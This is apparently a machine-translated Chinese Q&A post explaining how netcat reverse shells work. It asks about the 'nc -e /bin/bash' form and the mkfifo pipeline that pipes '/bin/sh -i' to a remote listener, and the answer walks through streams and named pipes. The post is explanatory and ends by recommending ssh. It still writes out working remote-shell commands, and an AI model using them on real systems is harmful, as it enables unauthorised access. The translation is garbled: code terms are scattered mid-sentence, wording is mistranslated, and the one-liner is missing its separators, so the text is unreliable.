有一个简单的方法可以连接两个系统并获取一个 shell,使用数控命令如下。
机器A监听
nc -nlvp 4444
机器B连接
nc 192.168.4.4 4444 -e /bin/bash
但是,那-e不再有选择,男人pages 建议按照下面的方法执行命令
机器A监听
nc -nlvp 4444
机器B连接
rm /tmp/f mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.4.4 4444 > /tmp/f
mkfifo
我确实知道命名管道背后的概念以及重定向和管道的工作原理。但它仍然让我感到困惑。
答案1
让我们以标准流来思考stdin
一stderr
分钟。
nc 192.168.4.4 4444 >/tmp/f
stdout
的流被nc
复制到/tmp/f
fifo,这意味着它通过网络从另一台机器接收到的任何数据都会进入 fifo。那么 stdin 来自哪里?来自/bin/sh -i 2>&1
。就其本身而言nc
,它只需将数据发送回另一台机器即可。
那么, 会/bin/sh -i
做什么呢?它会调用交互式 shell - 在其中键入命令并将输出打印到stdout
。user@host
提示通常(如果不是总是)打印到stderr
,但我们需要将其发送到远程计算机,因此2>&1
应用重定向以通过管道发送提示。好吧,我们不能使用stdout
来打印输出 - shell 必须将其发送到nc 192.168.4.4 4444
以通过网络发送。我们也不能读取stdin
-cat /tmp/f
将使用它来打印示例中从机器 A 发出的任何命令。将命令传输到交互式 shell 并没有什么特别之处 - 当stdin
重新连接时,应用程序不会意识到这一点,除非它正在主动检查。
$ echo 'df' | sh -i
$ Filesystem 1K-blocks Used Available Use% Mounted on
udev 4000944 0 4000944 0% /dev
tmpfs 805348 1400 803948 1% /run
/dev/sda1 28717732 25907684 1328188 96% /
tmpfs 4026732 97496 3929236 3% /dev/shm
tmpfs 5120 4 5116 1% /run/lock
tmpfs 4026732 0 4026732 0% /sys/fs/cgroup
/dev/sdb1 115247656 99204832 10165476 91% /mnt/ubuntu
tmpfs 805344 32 805312 1% /run/user/1000
$
sh: 1: Cannot set tty process group (No such process)
简而言之,shell 从 fifo 读取命令并通过管道将命令发送到网络nc
。从远程发送到本地 shell 的命令被写入nc
fifo。如此循环往复。下面的基于文本的数据流图也总结了相同的信息
input data
|| /\
(in via network) \/ || (back via network `/bin/sh` via nc`)
cat /tmp/f == > /bin/sh -i 2>&1 ==> nc 192.168.4.4 4444 ==> /tmp/f ==||
/\ ||
|| \/
======================================================================
顺便说一下,请注意,像这样制作一个 3 命令管道允许我们一次性生成这些命令(尽管订单无法保证) 的方式要简单得多。如果我们要手动执行此操作,并让所有进程都作为前台进程,nc
则必须先在一个 shell 中启动以进行监听,cat
在另一个 shell 中,sh
在第三个 shell 中。在我们准备它们所花的时间里,它会阻止从命名 fifo 文件读取或写入,这还会引发如何将输出从发送到和从发送到的/tmp/f
问题,这也可能添加更多命名管道。使用管道有三个cat
/bin/sh
/bin/sh
nc
fork()
通话,以及三个exec()
在一个 shell 中调用,并允许我们让它们全部通过文件描述符进行通信;无论它们的启动顺序如何 - 这要快得多,而且不那么复杂,尽管如果不知道管道、文件描述符和命令如何运作的话,就不是最容易理解的。
重要的提示:传统的nc
as 协议不提供任何信息安全性 - 命令及其输出以纯文本形式通过网络传输,攻击者可能会修改机器 A 和 B 之间的数据。如果您确实希望通过其 shell 安全地向远程机器发出命令 - 请使用ssh
。该ssh
协议是专门为此目的而设计的。如果您确实打算使用安全协议,请使用openssl或者ncat
。